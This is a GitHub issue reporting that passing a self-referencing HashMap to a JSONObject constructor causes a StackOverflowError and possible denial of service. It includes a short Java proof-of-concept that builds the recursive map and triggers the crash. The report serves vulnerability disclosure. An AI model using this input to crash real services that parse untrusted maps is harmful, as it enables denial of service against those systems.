Skip to content

If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos #52

Closed
@BIngDiAn-s

Description

@BIngDiAn-s

poc as follow:

public class POC {
    public static void main(String[] args) throws JSONException {


            HashMap<String,Object> map=new HashMap<>();
            map.put("t",map);
            JSONObject jsonObject=new JSONObject(map);

    }
}

and the result:

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions